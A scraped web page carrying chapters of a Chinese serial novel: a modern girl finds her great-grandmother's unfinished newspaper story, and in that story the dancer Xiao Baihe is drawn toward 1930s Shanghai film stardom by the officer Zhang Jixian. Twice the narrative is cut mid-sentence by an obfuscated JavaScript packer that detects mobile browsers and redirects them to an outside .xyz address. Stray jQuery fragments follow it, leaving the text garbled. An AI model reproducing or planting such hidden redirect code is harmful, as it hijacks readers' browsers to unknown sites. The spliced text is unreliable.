在调整卫星的角度,试图收取宇宙中的信号时,百合意外收到了来自陆遥来自未来的留言。而经过最初的试探之后,她们竟隔着上百年的距离,宛如两个普通的女孩一般,慢慢地成为了朋友。 她的祖奶奶将两个女孩之间的友情写得细腻至极,林梦晨不知不觉就读得入了迷。 然而,正当她读到又一章的结尾,准备去摸下一章时,忽然发觉,所有的报纸都已经被她翻完,她的手底下空空如也。 林梦晨瞪着她手上最后一章的结尾,登时傻了眼。 那结尾写道:“男人给她的选择十分诱人,百合不知是否该接受。她左思右想,趁着夜深人静,又按下了通讯的按钮:‘阿遥,你在吗?’” 就算林梦晨自出生以来从未读过任何小说,她也该知道这绝不是故事的结局。 林梦晨不信邪地又把所有的报纸翻了一遍,试图找出连载的后续。可所有的报纸都是按照时间顺序分门别类整理好的,直到她刚刚读完的最后一章为止,没有一丝错乱。 林梦晨抬头看了一眼最后一份报纸发行的时间,是一九六六年三月。 一九六六年…… “啊……”林梦晨醒悟地低叹道。 是那段特殊的历史时期。许多报纸和杂志都暂停出版了。 这就是结束了,林梦晨的理智告诉她。 可她还是不甘心。她抱着那一摞报纸冲出房门,叫道:“姥爷!姥爷!” 她的姥爷正坐在客厅的摇椅上喝茶读书,听到她的叫声,从眼镜上方瞥了她一眼,道:“怎么了?你急什么?慢慢说。” 林梦晨吸了一口气,缓了缓,才道:“姥爷,我祖奶奶的东西全在箱子里了吗?没有别的了吗?” 只见她的姥爷果然摇了摇头,残酷地道:“没有了。都在那里了。” 她的妈妈闻声走了过来,手里还端着果盘,见了她,惊呼道:“哎呀!你怎么弄得这么灰头土脸的?没有就别看了!快洗洗手,吃水果来吧!” 林梦晨却没有理会她,只将手里的报纸又抱得更紧了一些,追问道:“那……那她有没有跟您说她连载的小说,后来怎么样了?” 她姥爷的目光又回到了他手头的书上,轻轻翻过了一页,道:“都过去这么些年了,我怎么记得。” 听他这么说,林梦晨终于彻底蔫了下去,道:“好吧,谢谢姥爷。” 她拖着脚步回到书房,把所有的报纸和资料重新整理好,和那张她祖奶奶的照片一起放回纸箱。这时候,她也没有心思拿照片给姥爷看了。 重新盖上了纸箱的盖子,林梦晨才微微叹了一口气——或许有些故事,是注定没有结局的吧。 一九三零年。 小百合躺在床上,辗转反侧。 张继显在舞厅里对她的提议声犹在耳,如此诱人。 她愿不愿意成为第二个卫香兰? 这似乎是一个不需要思考的问题。 若是陶菁知道了这件事,必然会惊诧至极地瞪着她道:“这有什么可犹豫的?你在想什么?当然要接受了!快去快去!”然后还会敦促小百合在火了之后记得给她一个小角色。 朱璇则会勉力掩藏住自己的不快,哧道:“第二个卫香兰?第二个她有什么好当的?”而后纡尊降贵地对她说,“他让你去,你就去玩一玩呗,只当涨涨见识,也不错!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680911|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为第二个卫香兰,她便再也不需在舞厅里陪笑卖舞。不,不仅如此。她的脸会出现一伙伙人精心编制的故事里,出现在各大剧院的银幕上。 若果真出了名,全上海滩的人便都会知道她小百合的名字。全上海大街小巷的大姑娘、小媳妇们都要去争先恐后地研究她的首饰,模仿她的穿着。 何等的露脸,何等的风光! 至于演戏赚的钱,那更不必说了——有了钱,她能为孤儿院添置多少东西啊! 甚至只是想一想,小百合的心便不由自主地隐隐激动起来。 可是,在这所有诱人的前景背后,她要付出的代价,又是什么? 尽管张继显声称对她别无所求,只是不想让她继续在舞厅陪别人跳舞,被谭荣名那样的人纠缠。 但是,这可能吗? 旁人能给她一个角色,是看在张继显的面子。无论他本人怎么说,她总归是欠了他。 而等她一朝辞了舞厅,进了片场,未来的命运哪怕说是尽在他手,也不为过。 如果他心生腻烦,厌弃了她,只消挥一挥手,便可把她过往的努力尽数抹去。若是不然,她的人生就将长长久久地与他交织在一起,非任何金钱名利所能分开。 就算万一中的万一,有朝一日,她真的成了个家喻户晓的大明星,再也不必仰仗张继显的脸面,却忽然发现他实非良人,要与之一拍两散,她又能否担得起那必将铺天盖地冲她而来的,忘恩负义的骂名? 这条路,这条张继显诱惑着引她前去的道路,看起来繁花似锦,但其实每行一步,都有深深的陷阱掩藏在锦簇的花团之下。她该如何小心抉择,才能不行差踏错,坠入深渊? 实在难以入睡,小百合终究从床上坐起,坐到了桌前。 她探手拧开收音机,没有信号时的沙沙声顿时传来。 小百合不抱希望地小声问道:“阿遥,你在吗?” 不知为何,陆遥在收音机里回应她的间隔似乎越来越久了。原本只需要五六天,小百合就能与她说上一次话,可最近,她似乎总要等上将近十天,甚至十五天。 小百合在桌前坐了一阵。 此时已是深夜,万籁俱寂。公寓楼的墙很薄,甚至不时能听到左邻右舍咳嗽、打呼噜的声音。她盯着眼前的收音机,只觉从中传出的低低噪声仿佛要永远就这么规律地响下去,直到地老天荒。 看来今晚陆遥是不会回复她了。小百合关掉收音机。 罢了。 在问出那个问题之后,早在听到小百合的回答之前,张继显便自顾自地让她后天早晨在舞厅的门口等他,说要带她去见一些人。 既然他都这么说了,那她也不妨跟着去看看,看看这背后到底有什么名堂。 若是万一,万一这演艺界当真容得下她,她便去闯一闯又如何?说到底,她有什么可恐惧的呢?她有什么可失去的呢? 哪怕她最终一时不慎,落得个满盘皆输,那也不过是从头再来罢了! 大不了,就回孤儿院去帮院长摆摊好了。她想。 下定了决心,小百合只觉心口一阵轻松。 她翻身躺回床上,一闭眼,便睡了过去。 24.第23章 小百合原以为,张继显会直接带她去某个剧场,或者去见某位电影公司的老板。却没想到,他们从舞厅门口坐上小轿车,先在一个理发馆停了下来。 那理发馆地处繁华,铺着晶亮的大理石地板,透明的玻璃整面落下来,哪怕此刻仍是白天,也能看出屋里四壁都是灯,照在一面面的镜子里,映得整间屋子金碧辉煌。 小百合刚一下车,便有穿戴整齐的门卫立刻迎了上来。她迟疑地回头望了张继显一眼,见他点点头,才往里走去。 理发馆里还立着一面屏风。小百合趁门卫引她往里走时悄悄地往后面瞧了一眼,只见那屏风后竟是几台古怪的机器,想必是从西洋进口来的。 其中一台底下坐着个人,正端着一本杂志翻看,仿佛半个脑袋都被那机器吃掉了。 小百合暗自惊异地咋了咋舌,顺着那门卫指给她的位置坐了下来。 她刚一落座,便有系着纯白兜裙的理发师赶上前来,举起几张画片,笑眯眯地道:“这位小姐您好,这是最近时兴的几种发型,我觉得比较适合您,您看,有没有哪款您比较喜欢?” 小百合从镜子里看到张继显站到了她的身后,同样示意她选。 那理发师举着的几张画片都是卷发。小百合看别人留过,也在相熟的理发匠那里见他用烙发棒为别人烙过,自己却从来没有试过。 她有些为难地抬起眼,又对上镜子里张继显的目光,与他对视了片刻。张继显鼓励地对她点了点头。 于是,小百合只得在那些画片里挑挑拣拣一阵,最终选了个与她头发的长度大致相当的,递给那理发师。 她本想着做个头发而已,能花得了多长时间,却不料那理发师只稍稍修剪了她的发梢,便拿出些古古怪怪的器具,在她的头上操作起来。而后,就让她顶着那一头七零八碎的物件,坐到了屏风后那吃人的机器前。 “好啊,刚刚才笑过别人,马上就轮到我自己被吃了。” 小百合在心里暗自苦笑。 那理发师将机子罩在她的头顶,按下按钮,立刻有一阵阵温热的风吹到她的头上。小百合忍耐着那奇异的感觉,不多时便觉出了昏昏欲睡。 也不知过了多久,突然听到一声“好了”,她才猛然惊醒。原来,理发师趁着她打盹的时候,已经把她的头发全都打理好了。 小百合对着那头半卷的头发左看右看,只觉得镜子里似乎都不是她自己了。她看了半晌,才突然意识到张继显不知何时坐在了她的身后,此时也在看着镜子里的她。 小百合脸上蓦然一红,道:“抱歉,刚才居然不小心睡着了。” 张继显对她笑了笑,道:“没事。他们这里的手法很好,我也经常会睡着。”又道,“很可爱。” 小百合没明白他的意思,道:“什么很可爱?我的头发吗?” 张继显的笑意更深:“你的睡颜。这好像是我第一次看到你的睡颜。很可爱。” 听他这么说,小百合只觉原本涌到她脸上的热气又一下子冲到了她的头顶。她恼怒地道:“你又胡说八道!” 张继显故作出一幅受伤的样子:“你怎么能这么说?我说的明明是实话!你自己又看不到,怎么知道不可爱?” 小百合“哼”地一声撇开头:“我不理你了!” 张继显笑了起来。 恰好理发师也收了尾,把一切整理完毕,替小百合摘下身前的围布,俯身道:“好了。您看怎么样?” 小百合对着镜子看了半天,终于把那发型看顺眼了,笑道:“好看,多谢了!” 那理发师微微欠身鞠了一躬,张继显也随之站起,道:“费用记在我的账上。回头我再来结。”又对小百合道,“我们走吧!接下来,还有别的地方要去呢!” 小百合心道:“这下终于要去做正经事了!” 可谁成想,张继显坐上车,报出来的地名却是:“宝昌照相馆!” 小百合不是没有照过相。 他们的舞厅的老板曾专门请人到千乐门为所有的舞女照相,影印出照片,供客人挑选。甚至用水彩着上颜色,在舞场里售卖。 可惜,除了两三位头牌的照片得卖得火爆,剩下的大多数都无人问津,她们的老板便再也没有为所有人照过相。 小百合也和朱璇、陶菁一起去拿她们的照片看过,不知是因为那照相师用的设备太过简陋,还是她们照相的人数太多,照得太过潦草,相片里的她们一个个鼻歪眼斜,莫说像她们本人了,简直浑不似真人一般。 自那之后,小百合便也对照相这件事完全失了兴趣,更不会特地来什么照相馆。 但张继显带她来的这个照相馆显然颇为有名。等着照相的人都排队排到了馆子外面,有的是一家子老人小孩一起来的,凑作一堆,交头接耳,一脸兴奋,有的是成双成对结伴来的,挽着双臂,你侬我侬,满是甜蜜。无论每个人神色如何,总归是满怀期待。 这么一对比,小百合和张继显站在队外,就显得颇有些格格不入了。 小百合望向张继显:“你带我来这里做什么?” 张继显一挑眉,道:“这还不明显么?要想成为大明星,当然要多多地把你美丽的照片递到电影公司的老板手上了!”他又道,“你在这里等我一下。” 说着,从排队的人们身旁挤过,进到照相馆里。 小百合在原地等了一阵,就见张继显又在门口现身,对她招了招手。 小百合来到他身边,只见一个戴着小帽的小老头点头哈腰地对她打了个招呼,便领着他们二人往里走。 小百合回头看了一眼排到街角的长长队伍,有些不安地道:“这……不太好吧?” 张继显不以为意地道:“这有什么?馆长是我认识的人,早就打过招呼了。” 那小老头把他们领到一个里间,让他们稍等片刻,顺便为二人看上了茶。 从里间的门口便能看到正在拍照的人,那应该是一对新婚的夫妇,漂亮的新娘戴着头纱,颈间一串光洁的珍珠项链,手捧鲜花,新郎则穿着西装,打着正式的领结,两人脸上俱是温情和喜悦。 小百合不由地道:“真好啊……真好看。” 张继显也凑到她身边,一起看向那对新人,道:“哦?既然你这么喜欢,那不如……” 小百合微偏过头,抬起一根手指,虚虚地点住他的嘴唇。 她知道他要说些什么,他也知道。张继显轻轻一笑,当真闭上了嘴。 这时那对新人也正好拍完了。 那小老头把两人送出了门,又折了回来,笑呵呵地搓着手道:“两位今天是……?” 张继显一指小百合,道:“给她照。” 小老头道:“好嘞!请跟我来。” 两人进到摄影棚,立在房间正中的照相机比小百合记忆中大上许多,照相机后立着个高大的青年。青年冲张继显矜持地点 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青年道:“不必。你们过两个小时来取照片就好。” 小百合点点头,道了声再见,便径自往外走。 张继显很快追了上来,笑道:“你又生气了?” “没有。”小百合的心中蓦然闪过一阵无力和无奈,她早该知道,他会抓住一切机会招惹她。调戏她,“下次有别人在的时候,你收敛些就好。” “那也就是说,只有我们两个的时候,我可以随便说了?” “……” 小百合的脚步又加快了些。 照相馆的附近正好有一座茶楼,两人寻了个位置坐下,喝茶聊天消磨了一阵,又四处转了转,看时间差不多了,便回到照相馆。 小百合的照片已经冲洗好了,工工整整地摆在里间的桌上。那戴小帽的老头也侯在一旁。 小百合看着照片里不同姿态和神情的自己,不由心头一震:原来认真拍出来的照片,是可以这般眉目清楚的。 张继显颇为满意地扫视一圈,捡出两张全身照:“这两张不要,脸都看不清了。剩下的包起来。” “好嘞!”那小老头道,便快步上前,从桌下抽出一张油纸,利索地折成四方,小心地将照片一张张收入其中。 小百合脱口道:“等等!” 张继显看向她:“怎么?” 小百合迟疑片刻,道:“这些照片,能不能给我一张?” 张继显笑道:“当然可以,你想选几张都行。” 小百合翻来覆去挑了几遍,终于选出一张她最喜爱的。照片里的她直视镜头,抿唇而笑,脸上的笑意不似是为了拍照刻意摆出来的,倒更像是发自真心。 那时候她在想什么呢? 小百合回忆着。 哦,是了。拍这张照片时,她已经盯着镜头看了太久,竟不自觉地走起了神,只道这披着盖布的相机可真像是传说里独眼的怪物,怪不得刚从西洋传过来的时候,人们会生怕它摄走自己的灵魂。 若是她告诉他们,在一百年后有人乘着火箭登到了月亮上去,又该吓破多少人的胆? “你在想什么?”张继显道,“怎么突然又看着照片笑起来了?” 小百合把照片仔细地收入怀中,笑着道:“我才不告诉你!” 25.第24章 做好了头发,照好了相,张继显又带她去新买了两身鞋子和衣服。见时间差不多了,让开车的手下把小百合送回舞厅,留下一句“后日你也早晨过来,我派车来接你”,便扬长而去。 小百合目送小轿车开走,才转身进了舞厅,来到后台。 陶菁第一个满脸讶异地迎了上来,笑着问她怎么突然转了性,居然想起来要烫头发了。 一切未定,小百合不想告诉她张继显让她去拍戏的事,只道白天逛街时偶然路过,看到了理发店外张贴的海报,临时起意,就去了。 两人说着话,便她们的有舞女姐妹们陆续围了上来,不时碰一碰小百合的头发,议论赞美一番。一伙人聊了一阵时下流行的发型、首饰,衣裙、珠宝,聊得尽了兴,方才各自散去。 两日后,小百合早早来到舞厅,没等多久,果然就听见门卫轻轻地敲了敲化妆室大敞的门,对她道:“小百合,有一辆车停在外头,说要找你。” 小百合笑道:“好,我知道了,多谢!” 然而,得了她的回答,那门卫却没离开,仍是一副欲言又止的模样,小百合不由奇道:“怎么了?有什么问题吗?” 那门卫吞吞吐吐地道:“那车上,那车上坐了个穿军服的人……他,他不是来找你麻烦的吧?要不要我去告诉老板?” 小百合顿时心下了然。 张继显曾经告诉过她,只要他穿上过去的那一身军装,旁人对他便自然而然畏惧了几分,因此每当他想办什么事,或者恐吓什么人时,必定是要重装上阵的。而小百合一开始引起他注意,便是因为她在他拔枪时那毫不畏惧的目光。 今天他要带着她去见人,想必是又穿戴整齐了。 小百合笑着对那门卫道:“没事,不用担心,我认识那人。走吧!” 说完,便与他一道来到舞场大门前。 果然,在门口停着的就是前日那辆小轿车。张继显坐在后座,披着斗篷,戴着帽子,连勋带都挂了出来,十足的整肃威风。甚至是为他开车的手下都换下了便装,穿上了一身利落的军服。 见小百合出来,那手下利索地起身下车,为她拉开后车门。 张继显对她微微一笑,让出一个位置。 小百合坐了上去。 不必张继显报出位置,车便开动了。 眼看街上的建筑一幢幢向后退去,小百合不由心中忐忑,不知道他们要去哪里。 她听说有的电影公司为了拍戏,是会在一片空地上生生搭出一个摄影棚的。这些摄影棚占地颇广,大都在郊外,哪怕是开车也要开上许久。 小百合做好了坐上半天车的准备,却不料,他们左拐右拐,又顺着一条河开了一阵,没过多久,便停在了一道古色古香的院墙前。 小百合惊讶地道:“这里是……” 张继显微微一勾嘴角,道:“这是我们冯督理的别院,暂时借给他们拍戏。”又道,“走,下去吧!” 只这么片刻工夫,他的手下便又从外面拉开了车门。 小百合跟在张继显身后,一转弯,便见一道大门。 这宅子显然是前朝留下来的,青砖黛瓦,飞檐翘角,古朴而又厚重。大门门楣上的石制浮雕繁复细腻,正中浅浅地刻着“逸园”两个大字。 张继显上前叩了叩狮头门环,只听“吱呀”一声,门开了一道缝。 门缝里站着一个管家似的人物,似是与张继显十分相熟,见了他,对他点了点头,便打开了门,让两人进去。 于是,精巧的亭台楼阁、错落蜿蜒的假山水榭,一派别致的江南之景当即在门后展开,扑面而来。若不是亲身进入,谁能想到,闹市中竟还藏着这样一番天地? 小百合呆了一刹,才发觉园子不远处的角落里杂七杂八地聚了一群人。 她回头看了一眼,见张继显正在和那位管家交谈,没空理她,便好奇地独自走了过去。 那人群里有一位站在摄影机后,不断摇动手柄,想必就是负责拍摄的人了。他的镜头前是两名年轻貌美的女子,立在假山前,正一来一回地答话。 她们两个都手挽飘带,穿着一身轻薄的纱衣,似是在拍一部古装戏。 说是古装,那纱衣却过于飘逸轻透了些,不仅遮不住两位姑娘光洁的臂膀,风一吹过,连她们细长的双腿都在裙摆下若隐若现。 且不说此时仍春寒料峭,就算时值盛夏,这样走在街上,也显得太出格了些。 小百合不禁轻轻皱了皱眉。 她微微扭头,见有个人站在离她不远处,抱着一些道具,似乎暂时没什么事做,便上前搭话道:“这位小哥,请问这是在拍什么戏?” 那青年上下打量了她一眼,似乎拿不准她的身份,犹豫了片刻,答道:“《神女出浴》。” 小百合道:“《神女出浴》?是讲什么的?” 他的眼中闪过一丝不耐,答道:“董永和七仙女的故事,你听说过么?就和那个差不多。” 小百合低低地“啊”了一声。 这个故事她是听过的,穷苦的凡人董永趁着仙女下凡沐浴,偷走了她的羽衣,与之结为夫妻。只是,照这电影的名字来看,想来是把重头戏放在了“出浴”上。 小百合默默地听着两位“仙女”在镜头前商议下凡洗澡的事,心思却飘到了她时常翻阅的报纸的影戏版面上。 那上头确实常有这样的电影——只是看一眼它的名字就教人浮想联翩,标题下的宣传语更尽是些“千娇百媚”、“粉臂凝脂”、“销魂落魄”之类香艳之辞。 平日里小百合总是扫一眼就过去了,却没想到,张继显竟把她带到了拍摄的现场。 “怎么样?有意思吗?”张继显与那管家的话说完了,来到小百合身边。 小百合迟疑片刻,道:“他们……拍的总是这样的戏吗?” 张继显道:“这样的戏?哪样的戏?” 小百合道:“我听说……他们现在拍的这部戏,叫作《神女出浴》。” “哦……”张继显恍然大悟,又笑了,道,“你放心!你是我带来的人,他们不敢叫你拍这些的!”又道,“而且,我带你来也不是为了让你看这 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小百合正要问他怎么了,话没说出口,就听二楼传来了隐隐约约的说话声。 一个男声含含混混地道:“来,你再过来些,让我仔细地看看你。” 片刻沉默之后,是一位女子“啊!”的惊呼声和告饶声:“赵总,赵总,您饶了我……我记起来了,除了刚才跳的,我还学过一支西洋舞,您放开我,我跳给您看……” 那男声却道:“跳舞这种事着什么急?以后有的是时间让你跳。”说完,许是那女子仍在挣扎,又道,“别动,不许动!怎么,你不想成为第二个卫香兰了?” 他话音未落,张继显立刻用力咳嗽了一下,重重地迈出脚步。 他放慢了脚步,一边往上爬,一边远远地笑道:“好你个张老板,大家都在外面忙活,就你自己一个人舒服得很,在这里躲凉!” 等他们上到二楼时,张继显口中的“赵老板”已好整以暇地等待他们。 见张继显在楼梯口现身,立刻迎了上来,堆起笑容道:“瞧您说的!您说今天过来,我不得在这提前备好茶,等着您么?快请坐快请坐!”说完,又扭头道,“你先出去吧!” 他身后年轻的姑娘穿着一身与拍戏的两人如出一辙的纱衣,无疑也是戏中的“神女”之一。听他这么说,如蒙大赦般一溜烟跑了出去。 赵老板看着她的背影轻蔑地摇了摇头:“真是小地方来的,没见识得很。” 张继显也不理他,漫不经心地迈开步子,一甩披风,坐到了上座的位置,示意小百合坐在他的身旁。 那赵老板不知从哪端出一桌茶台,墩在座旁的边几上,拿出茶叶,手脚利落地摆弄起来:“这是我以前送给督理的,我们先借来用用!” 摆好了茶具,他又从角落里拎出一个热水瓶,一边往茶壶里倒水,一边瞟向小百合,笑眯眯地道:“这么说来,这就是您上一回和我提到过的那位小妹妹了?叫……小百合,是吧?” 26.第25章 这位赵老板的样貌其实并不算丑,戴着一副细细的金边眼镜,眼镜下一对细长的眼睛。若是在街上遇到,小百合或许会以为,他是刚刚从哪家洋行里出来的账房。 然而,只是被他用眼睛这么斜斜地一瞟,她便像是被一条冰冷的毒蛇缠住了脚腕一般,浑身的鸡皮疙瘩都竖了起来。 好在,对方的问题也不是问她的。 张继显吹了吹杯中的茶叶,又用杯盖拂了拂,眼也不抬地道:“是。您看怎么样?是不是比您刚才那位小妹妹,更像卫香兰啊?” 那赵老板何等人精,听他这么说,如何不知道他刚刚的对话被张继显听了去,连忙对张继显笑道:“我那只是随便说说,怎么能做数!她算什么东西,也配和和姑娘比?”又瞟向小百合,道,“依我看,只要扮好了相,连卫香兰本人,都及不上姑娘的一根寒毛呢!” 张继显道:“那便好。以后有什么好的机会,还请赵老板别忘了我们小百合就是了。” 赵老板道:“好说好说!只要姑娘有意,就算是请人专门来为姑娘写一个本子,也不是什么难事!” 张继显随意地点点头,道:“那就提前谢谢赵老板了。对了,我听说前一阵子您的那个……《红颜烈火》,似乎卖得很好啊?” 赵老板笑道:“惭愧惭愧。那也是托我们冯督理的福!” 之后,两个人又漫无边际地聊了一番。 小百合坐在一旁静静地听着,听了半晌,才忽然明白,原来只要冯督理发上一句话,甚至连上海滩的戏院放什么电影都是能左右的。 戏院的地盘有限,场次有限,对赵老板这样的人来说,自然是上映的片子越少越好。而就算不完全封禁,给不同片子分配的场次自然也有多有少。 对于那些无所谓看些什么,出门看戏只图一乐的观众来说,前者便占尽了优势。 怪不得赵老板要和张继显,尤其是冯督理打好关系。而有了这层利害,在他的戏中插一两个人,又算得了什么? 小百合心中惊愕,却没表现在脸上。她知道,像赵老板这样的人,一定是不喜欢女人聪明的。在他眼中,或许这屋子里从头至尾就只有他和张继显两个人罢了。 张继显这时也与他聊得差不多了,站起身道:“既然说到这了,如果赵老板您的哪位朋友有什么适合小百合的角色,也请您多多关照了!” 说着,把手伸入怀中。 小百合立刻明白,他这是要把他们之前在照相馆拍的照片给那赵老板了。她的心头一突,来不及多想,便从赵老板看不到的角度猛地揪了揪张继显的衣摆。 张继显的动作立时一顿。他停了片刻,又将手抽了出来,伸向赵老板,道:“那,呆了这么久,我们就不打扰您了,先走了!” 那赵老板赶忙跟着站起来,握住他的手摇了摇:“好好好!小妹子的事一切好说!就不耽搁张总的时间了,我送你们下楼!” 他们来时坐在楼下那年轻人仍旧没醒。赵老板把他们送下了楼,见这情形,登时一脚踹了过去,骂道:“我叫你守在门口,是为了让你睡觉的?” 那年轻人被踹翻在地,醒来时仍是一脸懵然。意识到大事不妙,他立时趴跪在地,痛哭流涕地赔起罪来。 赵老板又一次把他踹倒,也不理会他的语无伦次,只对张继显笑道:“两位请,我送你们出去!” 张继显却道:“不必了。我正好想趁此机会带小百合在园子里逛逛,赵老板,您忙吧!” “哦哦,明白,明白!那两位慢慢逛!慢慢逛!”说着,他果然在门口停住了脚步。等张继显他们走出一段,身后才传来赵老板如疾风骤雨般的呵斥声。 张继显带着小百合走的不是来时那条路,而是选了条僻静的小道。 等听不到赵老板的声音了,他才问小百合道:“为什么你不想让我把你的照片给他?” 小百合方才拽他的衣摆也只是一时冲动,没想到张继显当真听从了。此时他突然这么一问,小百合竟想不出什么合适的理由,霎时张口结舌地愣住了。 见她不语,张继显歪头看向她,又道:“是因为刚才那女孩的事,你不喜欢他?” 小百合抿了抿唇,道:“我们走了之后……那赵老板应该还会去找她吧?” 张继显的头又扭了回去,道:“想要有所收获,总要付出些东西来交换的。如果她不接受,完全可以自己离开。” 听他这么说,小百合心中蓦然一阵难过,直觉有哪里不对,张了张口,想要反驳,却又一时理不出个所以然来,只得又把嘴闭上。 她抿了抿唇,转而道:“那张先生你这么帮我,又想让我付出什么来交换呢?” 张继显一愣,做出一副伤心状,瘪嘴道:“你这么说,我可真伤心了!我以为我们两个情投意合,不分彼此,你却这么想我!” 小百合轻轻地“哼”了一声,嗔道:“我是看张先生这么精明强干,真怕你一条一条给我记在小本子上,等哪天想分个彼此了,反过来跟我要账呢!” 张继显笑道:“放心好了,就算是要账,我要的也绝不是你还不起的账!”他顿了顿,又道,“罢了,你如果真那么不喜欢他,再换一个人就是了,能拍电影的人也不止他一个。我也不想他整日盯着你看。大不了,我亲自给你拍一个,这有什么难的?” “哦?既然你这么厉害,何不干脆今天就去试试,待会就去给他们拍一段?” “她们不是你,我不稀罕拍!” “那我可真得提前谢谢张先生了!” 两人这么拌了两句嘴,小百合心里稍稍好受了些,便勉力定定心神,去欣赏园子里的风景。 此时仔细一看,她才发觉园中还放着不少雕塑,雪白的大理石细腻光洁,雕出来的人像高鼻深目,无疑是从西洋运回来的。许是因为摆放的位置合宜,在假山掩映下倒并不显得突兀。 “如果是谭荣名,他一定会对我讲起这些雕塑雕的都是谁,背后又有什么故事。”小百合想。 她已经许久没想起过谭荣名了,看见这些雕塑,却不知为何突然想到了他。 但张继显不是谭荣名。 他说起了这些雕塑里哪个是督理自己买的,哪个是别人送的,送的人最终又求着冯督理办了什么事。还道,其中有一个太大太沉,从大门进不去,他和手下想尽了办法,最终从别处借了一架塔吊,才把它吊进了园中。 小百合专注地听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739904|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,边听边走,不知不觉就回到了拍摄的地方。 人群还聚在那里,镜头对着的仍是那两个姑娘。只是,她们身上的衣裳却换了一套,似是准备拍另一个情景。 小百合探出脑袋去看,又听有人叫道:“张副总!” 原来是为他们开门的那位管家不知从哪个角落里冒了出来。他示意张继显附耳过去,对他耳语了几句什么。 听了他的话,张继显的脸色竟微微一变,扭头对小百合道:“你在这里等我一阵,可以看看他们是怎么拍戏的,我过会回来!” 小百合点点头,刚道了一个“好”字,他便匆匆向大门奔去。 那管家对小百合微微鞠了一躬,也了退下去。 既然张继显都这么说了,小百合便依他所言,来到人群旁,认认真真地围观起了他们拍戏。 只见那两个身着纱衣的女子一脸惊慌失措,提着裙摆匆忙地往一个方向跑,摄影机后的掌镜便摇着手柄,由左至右地摆动镜头去追。 从她们只言片语的对话里,小百合才听明白,原来这已经是故事的后一段——与她们一起下凡沐浴的“小妹”被凡人偷去了羽衣,没法再回归天庭,她们要赶紧去后花园向“王母娘娘”报信。 小百合本以为他们拍完这一回就结束了。 却没想到,拍完之后,那两个女子竟回到了原处,两三个人上前把那摄像机挪了挪位置,又重来一遍。 如此远远近近、翻来覆去地拍了好几回,小百合忍不住拍了拍站在她前面那人的肩膀,问道:“她们为什么要重新拍这么多次呀?” 那人回头看了她一眼,道:“刚才拍的是她们的半身,再之前是全身,现在在拍脸。” 小百合挑起眉,惊讶道:“这么复杂的吗?” 那人没再理会她。 小百合又看了一会儿,觉出了无聊。 她原本想再去园子里转转,但转念一想,若是又碰到了赵老板,或者什么别的人,没有张继显在身旁,她决然是讨不了什么好的,便打消了这个念头。 百无聊赖间,她突然想起了园子大门上方的浮雕。 那浮雕精致华美,让人见之难忘,只可惜她来时心中忐忑,连上面雕的是什么都没看清楚。 “不能在园子里逛,我去园子外逛逛,总是没关系的吧?”她想。 管家没有守在门口,只要轻轻一拨门闩,门就开了。 小百合蹑手蹑脚地溜了出去,又回身把门合上,仰起头来。 那浮雕上细细密密地刻了许多人物车马,点缀着飘逸的云纹。小百合又往后退了几步,想看清它刻的到底是“状元及第”,还是“八仙过海”,忽然听到外面的大街上远远地传来一阵叫骂声。 那声音有点耳熟,小百合迟疑了片刻,终究耐不住好奇心的驱使,轻手轻脚地来到街角处,探出头去。 只见一辆黄包车翻倒在大街上,距它跟前的小轿车不过一掌之遥。黄包车的车夫也摔在一旁,有人正对他拳打脚踢。一道鲜血从那车夫的额角流出来,他抬起手背抹了一把,仰起头来。 看到那熟悉的侧脸,小百合的心跳仿佛在刹那间停了一拍——那倒在地上的车夫,竟然是孙老三! 27.第26章 “呵!还敢瞪我!你个不长眼睛的东西!信不信我一枪把你崩了?你接着瞪啊?瞪啊?” 许是被孙老三的眼神激怒,正在叫骂那人突然停住了手,拔出一把枪来,对准他的额头。 小百合这才认出,孙老三对面那人,分明就是这两日载着她在上海城中东奔西跑的,张继显的手下! “啊!” 小百合惊呼一声,浑身发冷,向外冲去。 张继显的手枪里没有子弹,他手下的手枪里却不一定没有! 她想要立刻冲到孙老三身边,可心中太过焦急,为了见赵老板而新买的鞋子又不合脚,才跑了没两步,便一个踉跄,摔了出去,在地上滚了两圈,方才停下。 她跌跌撞撞地爬起来,想要先出声阻止。可是,连她的牙齿都在打战,嗓子像是被人掐住,任凭小百合如何努力,也发不出一点声来。 人群早就慢慢地聚了起来。 有人在人群中弱弱地道:“你,你难道想当街杀人?” 张继显的手下扭过头,望向声音传来的方向。他的目光所及之处,所有人都悉悉索索地后退了一步。 他嘲讽地笑道:“我当街杀人?明明是这个杂种要行刺我家主人!你替他说话,该不会是他的同伙吧!是谁?站出来!” 小百合拼命地挤过人群,想要钻出去,拦在他的面前,却忽然听到另一个她熟悉的声音冷冷地道:“够了。” 小百合浑身的血仿佛在刹那间冻住了。她的脚下像是突然生出了根,再也挪不动一步。 她原本以为张继显不在,只是他的手下在这作威作福,却没想到,他就坐在车里,把刚刚发生的事全都看在眼中。 他波澜不惊地道:“够了。围观的人太多了,影响不好。为了这么个东西,不值得。我先进去了,你去找个地方把车停下。” 说着,全程看都没有看孙老三一眼。 那手下立定站好,道了一声“是”,便收起枪,坐回了驾驶舱。轿车发动的声音随即响起。 张继显对着人群道:“让开!” 他原本就威势极盛,又穿着军服,围观的人立时为他让出一条路。 